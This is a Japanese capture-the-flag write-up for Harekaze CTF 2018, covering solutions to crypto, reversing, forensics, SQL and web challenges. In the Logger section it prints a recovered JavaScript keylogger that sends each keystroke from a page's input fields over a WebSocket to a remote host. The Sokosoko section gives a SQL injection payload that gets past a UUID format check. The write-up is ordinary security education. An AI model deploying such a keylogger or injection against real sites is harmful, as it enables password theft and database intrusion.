Harekaze CTF 2018 write-up

# 概要
nanimodekinaiのPwn解けない担当Yukari Hinataことarushiroです。
2018/02/10 ～ 2018/02/11で開催されたHarekazeさんのCTFのwrite-upを書きました。

![nanimodekinai_harekaze.PNG](https://qiita-image-store.s3.amazonaws.com/0/187971/5310750b-0ca1-5297-8302-dc39035b671f.png)

![nanimodekinai_rank_harekaze.PNG](https://qiita-image-store.s3.amazonaws.com/0/187971/a9c0083c-786f-6e70-2057-5fd2d1d27173.png)

nanimodekinaiで参加して1257点で29位でした。

以下解いた問題のwrite-upです。
速さを重視して投稿したので見辛い所が多々あると思いますが、ご容赦下さい。
適宜直していきたいです。

※以下のwrite-upにはHarekazeCTF 2018より問題、及び問題をなんやかんやした際の中間ファイルの引用が含まれています。

# welcome flag (10pts / WarmUp)

```
HarekazeCTF{Welcome to the Harekaze CTF!}
```

# easy problem (30pts / WarmUp)

問題より

```
UnerxnmrPGS{Uryyb, jbeyq!}
```

適当なサイトでROT13すればOK

```
HarekazeCTF{Hello, world!}
```
# Obfuscated Password Checker (50pts / Web)

チムメンのKei Okanoさんが解いてくれました。
ifにBreakpointつけると出るらしいですが、自分でもやってみて出来たらやります。

# div N (100pts / Rev)

問題より

```bash
$ cat foo.c
long long div(long long x) {
    return x / N;
}
$ gcc -DN=$N -c -O2 foo.c
$ objdump -d foo.o

foo.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 
:
   0:	48 89 f8             	mov    %rdi,%rax
   3:	48 ba 01 0d 1a 82 9a 	movabs $0x49ea309a821a0d01,%rdx
   a:	30 ea 49 
   d:	48 c1 ff 3f          	sar    $0x3f,%rdi
  11:	48 f7 ea             	imul   %rdx
  14:	48 c1 fa 30          	sar    $0x30,%rdx
  18:	48 89 d0             	mov    %rdx,%rax
  1b:	48 29 f8             	sub    %rdi,%rax
  1e:	c3                   	retq   
$ echo “HarekazeCTF{$N}” > /dev/null
```

アセンブリにすると割り算は逆数の掛け算になるらしい。
適当にいい感じに戻したら答えが出ました。

```bash
echo "obase=10;ibase=16;(2^(3F+30+1))/49EA309A821A0D01+1" | bc 
```

```
HarekazeCTF{974873638438446}
```
# Lost_data (100pts / For + Misc)

zipファイルを解凍すると先頭数バイトが書き換わってるPNGが出てくるので、直すとQRが出てくる。

```
QR1:
HarekazeCTF{Y0u_

QR2:
G0t_FuNNy_F1ag_?

QR3:
DF?_T?_is_xxxxx}

HarekazeCTF{Y0u_G0t_FuNNy_F1ag_?DF?_T?_is_xxxxx}
```

よくわからなかったけど、xxxxx.zipの中にfat32とかの名前がついたファイルが大量にあったので、fat12、fat16、fat32あたりをxxxxxの中に入れたらfat16で通りました。

```
HarekazeCTF{Y0u_G0t_FuNNy_F1ag_?DF?_T?_is_fat16}
```

# grom (100pts / For + Misc)

grom.vというVerilogファイルを渡される。
Verilogファイルを渡されたら次にやることはたぶんテストベンチを書くことなのでテストベンチを書きます。

```verilog
`include "grom.v"

module test_grom;
reg clk;
wire [0:0] fin;

always begin
  clk = 0; #1;
  clk = 1; #1;
end

grom grom_a(clk, fin);

initial begin
  $dumpfile("test_grom.vcd");
  $dumpvars(0, test_grom);
  $monitor("%t: %b", $time, fin);
  repeat(11000) @(posedge clk);
  $finish;
end

endmodule
```

```bash
$ iverilog -o test_grom test_grom.v
$ vvp test_grom
(省略)
$ gtkwave test_grom.vcd
```

gtkwave上で`f_`から始まるwireを全部表示して並べ替えると文字になります。

![gtkwave](https://qiita-image-store.s3.amazonaws.com/0/187971/02ce848e-4537-c151-d4b5-433d73912683.png)

```
HarekazeCTF{1v3_G077a_5urf1nG_P!k4cI-Iu}
```
# Fight (100pts / Crypto)

問題より

```python3
import random
import base64
import key

def xor(msg, key):
    return bytes([ch1^ch2 for ch1, ch2 in zip(msg, key)])

def gcd(x, y):
  while y != 0:
    r = x % y
    x = y
    y = r
  return x

def gen_seed(n):
  seed = 0
  for k in range(1,n):
    if gcd(k,n)==1:
      seed += 1
  return seed

s = 1
for p in b"Enjoy_HarekazeCTF!!":
  s *= p
seed = gen_seed(s)
random.seed(str(seed).rstrip("0"))

flag = key.FLAG
key = bytes([random.randint(0,255) for _ in flag])

enc = xor(flag, key)
print(base64.b64encode(enc).decode('utf-8')) #7XDZk9F4ZI5WpcFOfej3Dbau3yc1kxUgqmRCPMkzgyYFGjsRJF9aMaLHyDU=
```

flagを同じ長さのkeyでxorしたものをBase64エンコードしたもの `7XDZk9F4ZI5WpcFOfej3Dbau3yc1kxUgqmRCPMkzgyYFGjsRJF9aMaLHyDU=`が渡されます。

keyを生成する乱数の種はオイラーのトーシェント関数に`4529255040439033800342855653030016000`を突っ込んだもの、`765753154007029226621575888896000000`の右端の0を取り除いた文字列、`765753154007029226621575888896`です。

なお、多分そのまま実行してもトーシェント関数の計算は終わらないっぽいです。

またkeyの長さはflagの長さの44byteです。

乱数の種さえ分かればあとは`7XDZk9F4ZI5WpcFOfej3Dbau3yc1kxUgqmRCPMkzgyYFGjsRJF9aMaLHyDU=`をBase64でデコードして、生成したkeyとxorするだけです。

`HarekazeCTF{3ul3rrrrrrrrr_t0000000t1nt!!!!!}`

# Harekaze Farm (100ptz / Pwn)

チムメンのKei Okanoさんが解いてくれました。
後で解説聞きます……

# Unnormalized-form Data (127pts / Misc)

なんかやばいPostgreSQLのコードが渡されます。
とりあえず`FUNCTION flag()`以外の全てを入力した後、
解析のために適当にいじってたらそれっぽいのが出てきちゃいました。

```sql
CREATE FUNCTION flag() RETURNS text
    LANGUAGE sql IMMUTABLE SECURITY DEFINER
    AS $$WITH RECURSIVE r(i, j, a) AS ( VALUES (0,1,'{a,B,4}'::TEXT[]),
(0,2,'{d,B,7}'::TEXT[]),
(0,3,'{b,F,1}'::TEXT[]),
(0,4,'{b,D,7}'::TEXT[]),
(0,5,'{b,E,7}'::TEXT[]),
(0,6,'{a,E,3}'::TEXT[]),
(0,7,'{b,A,2}'::TEXT[]),
(0,8,'{d,F,2}'::TEXT[]),
(0,9,'{d,F,7}'::TEXT[]),
(0,10,'{a,A,4}'::TEXT[]),
(0,11,'{b,H,7}'::TEXT[]),
(0,12,'{b,H,5}'::TEXT[]),
(0,13,'{a,E,6}'::TEXT[]),
(0,14,'{d,C,3}'::TEXT[]),
(0,15,'{d,E,5}'::TEXT[]),
(0,16,'{d,B,1}'::TEXT[]),
(0,17,'{c,A,5}'::TEXT[]),
(0,18,'{b,G,6}'::TEXT[]),
(0,19,'{d,E,7}'::TEXT[]),
(0,20,'{c,F,7}'::TEXT[]),
(0,21,'{c,B,2}'::TEXT[]),
(0,22,'{d,D,3}'::TEXT[]),
(0,23,'{c,A,1}'::TEXT[]),
(0,24,'{a,G,1}'::TEXT[]),
(0,25,'{c,G,7}'::TEXT[]),
(0,26,'{a,B,3}'::TEXT[]),
(0,27,'{a,C,5}'::TEXT[]),
(0,28,'{a,C,3}'::TEXT[]),
(0,29,'{d,C,6}'::TEXT[]) 
UNION SELECT i + 1, j, d FROM r, rel WHERE i < 40 
AND a::TEXT[] <@ s ) 
SELECT string_agg(c, '') FROM (SELECT c FROM r, dic WHERE i = 0 AND r.a::TEXT[] @> dic.a ORDER BY j) AS t$$;
```

よくわからずに`::TEXT[]`入れたり、最後の`WHERE i = 0`あたりを変えています。

出力自体は

```
}HarekazeCTFTh1rteen_0rphans{
```

と出るので、直して

```
HarekazeCTF{Th1rteen_0rphans}
```

# 15 Puzzle (200pts / Rev)

C#とかのILな言語のexeで15パズルを1000回やると答えが出る的な問題。
チムメンのKei Okanoさんが解いてくれました。
後で私も解き直します……

# Logger (200pts / Rev + Net)

何かのWebサービスを使っていたらパスワードを盗まれたらしい。
パスワードを盗まれた時のパケットファイルが渡される。

HTTP通信をしている部分だけ抜き出して、jsをbeautifierにかけた所、キーロガーらしき物が見えた。

```javascript
window.addEventListener("DOMContentLoaded", function () {
    function encode(s, t) {
        var r = [];
        if (typeof s === "string") {
            s = new TextEncoder("utf-8").encode(s)
        }
        var i, z;
        for (i = 0; i < s.length; i++) {
            if (s[i]) {
                break
            }
        }
        z = i;
        for (; i < s.length; i++) {
            var c = s[i];
            var j;
            for (j = 0; j in r || c; j++) {
                if (r[j]) {
                    c += r[j] * 256
                }
                r[j] = c % 58;
                c = Math.floor(c / 58)
            }
        }
        return t[0].repeat(z) + r.reverse().map(function (x) {
            return t[x]
        }).join("")
    }

    function hash(s) {
        var r = 0,
            i;
        for (i = 0; i < s.length; i++) {
            r = r * 31 + s.charCodeAt(i) | 0
        }
        return r
    }

    function rand(s) {
        var x = 123456789;
        var y = 362436069;
        var z = 521288629;
        var w = 88675123;
        var t;
        return function (a, b) {
            t = x ^ x << 11;
            x = y;
            y = z;
            z = w;
            w = w ^ w >> 19 ^ (t ^ t >> 8);
            if (a !== undefined && b !== undefined) {
                return a + w % (b + 1 - a)
            }
            return w
        }
    }

    function shuffle(a, r) {
        var i;
        for (i = a.length - 1; i > 0; i--) {
            var j = Math.abs(r(0, i));
            var t = a[i];
            a[i] = a[j];
            a[j] = t
        }
    }
    var w = new WebSocket("ws://192.168.99.101:7467");
    var t = "MeitamANbcfv2yXDH1RjPTzVqnLYFhE54uJUkdwCgGB36srQ8o9ZK7WxSp";
    w.addEventListener("open", function (event) {
        var s = navigator.userAgent;
        w.send(encode(navigator.userAgent, t));
        t = t.split("");
        shuffle(t, rand(hash(s)));
        t = t.join("")
    });
    Array.from(document.getElementsByTagName("input")).forEach(function (e) {
        e.addEventListener("keyup", function (v) {
            w.send(encode(Math.random().toString().slice(2) + " " + v.key, t))
        }, false)
    })
}, false);
```

文字がアルファベット順になってないBase58エンコードでWebSocketにキー情報を流しているようです。
最初はUserAgentをBase58エンコードしていて、その後にBase58に使う文字を並び替えてます。
ここらへんはブラウザの開発者コンソールからjsの変数情報を出力させれば出ます。
キーを送信する時に使ってたBase58の文字列は`Ehi6osZTjMV7SRygBxUD9CdFcvub1pr4G85NAnm3XakPzQHKwYL2tJefWq`でした。

~~以下のコードは http://java-lang-programming.com/ja/articles/23 からデコーダーのコードを利用させてもらっています。~~

(2018/02/13) ほとんどそのままな感じだったので消しちゃいました。http://java-lang-programming.com/ja/articles/23 からデコーダのコードをもらってきていい感じに書けばいいと思います。
代わりに以下にパケットのWebSocketの部分にあったBase58文字列を列挙します。

```
iCmUsu3sWAgt1DLDTPiCsMkiJ
iTS5kqhhN6dZgQfzeXgG7yYr5
uKGMC4ZpKpR1Hbek9LnoWag
MENtnhfQx47g2MD4YfaPpapNRA
iBKoHeQsAyZ3yYg5uzbDpVBza
mez8Y8onREos36hbs1W3PrzEVyF
ioHr8fnSqtoRvLkvW6z6YoZLQ
iBKN3429YfCEmRAxT6f9g9Qsv
yvDepd8vhnp8MQNeYfiBKg2L5apQCZ
iDM2FWZnm2fnpYmYGmqVWex27
iDyQ3jA179gqDNzj51e8SzqfP
iDRMoK3vV8dwipy12npBHDCx6
RoAaJ29cybX87mddDKDJdDEw3ZGE29
iDVvjasQqyiaf7vKnNixERsNP
iBz2L9ZX6LUyopeooorQDnwYi
MEBmf8UBvosB98ocQawh9XZ45n
iM4zg74tACAR4XB7khRmL5gLC
iCATz5TGy5jcsCLGWawZSc8zc
iyvVZ3Q5xAVGy1ZLXZFdnXTep
iDS5YadHVaegKNDjYJkamNM8a
yvrGR54rYJj19e75eo1TACqEAuGfow
ioPy4npLFrivepDY4MioMARxZ
iBwMxi5246Xg7UQi2yvJQ8Xg6
iyvVWzDwMaVPLaZYQ2y975QT6
4VXm8RKGEgG95iKCXam1ygN
M77CEgVf6os6K6tjN1M6A9y7pn
MVeeCjRXYXcKdAgCxKFTJgAdZo
meFcfCq8k1CzkESo7i4GDRnhx9n
iyvkbgC3k9R7JTPUESdmeZfzn
oY9P5XbTFsaV4sS2CHBJE3hcYZTQvurTr
iEEhZ5DXWedXQ4iUQbmwrGrs3
dNUzs2v4Vf7U6GdArAhvCmdPtLH8WMviyq
iCAjd7zUWskbSy9RLYjtrZDCV
qPgGDYUvNuUT3Ch1fKgknFW4CPVcWgH
iShnuif7DhNDTetUZMXWG9rLJ
iDSiqPQnncdz6Rs6YGzmeWuqE
iC8FaVhXmb1GYXrCGw5CcuAXC
i7fBGggWJf9LNRdVprPLPpei3
i7fxmXUMpgst9kACHosb91Cka
MECvB5p81fNgVACMmJQsVd6cQB
iiDMtEVW7BUo5ocRRN4inXdQ7
iSEGbN9YJHTXWLQp2JRMcPmFp
iy9KSw2qYEeVA627cyZzH6F6U
iCN8mpZLH7uUp1fUADyGA5P95
MECbuHyU6L65iPw5Asw92EekYa
yvzJxXHW4XEPsncH4zSHDxVZf9tzxk
iBz2LgRNBBfq42MTaCV3wvjCR
iM5bfsw5xU93kTpig2Q4YmS7A
iBYgT3V51QMxRuxhUS1dSm6s2
ME8pn9tTKm3HEkhnFUeXyB7Wtd
iCN5jfUJiqBYWEbP3hhFgDfci
iDVWAJwuudMAi7x7CpNGARxA4
iMGUZeMFtyDcYf7qGpMHfsEvB
iCA3E5NsH2vMvZck9rexTLXG4
horZcydUns9SRFV8wefAJhEYWGwVfxrS
ME131HW8CbVfH26b1XpK6741Kk
iSEGaKaTXheBaHoAFgrF2ncaL
T6Kihw84sq6JnwNc1V6ps5
iDSNbdyahA2wUahbo5oaztjvm
iyvVWY7oECQ2PE3nLMW9ZcR1Q
iidqHMFJ5xshHM4XstWfXvHqJ
hiMU5F4R6qXdTWeiuwuL8so1qCDzsj4m
iC51H2btb9FywrKrgFCqcCUnA
iyvVZ8xTQrukCAiSe6Yrfogg4
i7qb1XR4yhPUzyK1y1k1M1kHH
iyducwzyZxJgeN11VjtYrPnrt
iBwageNmGH9F1Cx7gcK8nhPkC
yWzcku8Ed5ZYasGMqBNny8Cy8ue4hH
```

```
irizaki_ShiftmeiTabuteute_ShiftdamashiiControlaBackspaceHShiftarekazeCTF{Shift7r1663r_Shifth4ppy_Shift61rl}Shift
```

```
HarekazeCTF{7r1663r_h4ppy_61rl}
```

# Sokosoko Secure Uploader (100pts / Web)

問題より(適宜改行を入れています)

```
このサービスを使ってファイルを暗号化しました。
暗号化後のファイルを添付しましたが、UUID は誤って削除してしまいました。
覚えているのは、この UUID が 9e5a から始まることだけです :( 
```

decrypt.phpのコードを読むと、

```php
$pdo = new PDO('sqlite:key.db');
$stmt = $pdo->query("SELECT key FROM decryption_key WHERE id = '$uuid'");
$res = $stmt->fetch();
```

uuidの値でSQLインジェクションが出来ますね。

ただしuuidの値はチェックされます。

```php
function is_uuid($str) {
  if (strlen($str) !== 36) {
    return false;
  }
  if ($str[8] !== '-' or $str[13] !== '-' or $str[18] !== '-' or $str[23] !== '-') {
    return false;
  }
  return true;
}
```

この条件に合致して`WHERE id LIKE "9e5a%"`が実行できるuuidを入力すれば恐らく動くと思われます。

9e5までしか入れられませんでしたが、こんな感じでした。

```
'OR id/*-xxxx-xxxx-xxxx-*/ LIKE'9e5%
```

![flag.png](https://qiita-image-store.s3.amazonaws.com/0/187971/ccbe5dff-3ace-f662-0ff3-46bab3217535.png)

```
HarekazeCTF{k41k4n_j1kk4n_j1n615uk4n}
```

# recursive zip (40pts / Warmup)

zip玉ねぎをむきむきする。

無限に

```bash
$ unzip -o flag.zip; ls -al flag.zip
```

をちゃかちゃか↑Enter↑Enterすればいつかflag.txtが出てきます。
ls入ってるのは心の安定化のためです。

```
HarekazeCTF{(\lambda f. (\lambda x. f (x x)) (\lambda x . f (x x))) zip}
```

# 感想
今年の目標: Pwnから逃げない。

久しぶりのCTFで楽しかったです！！！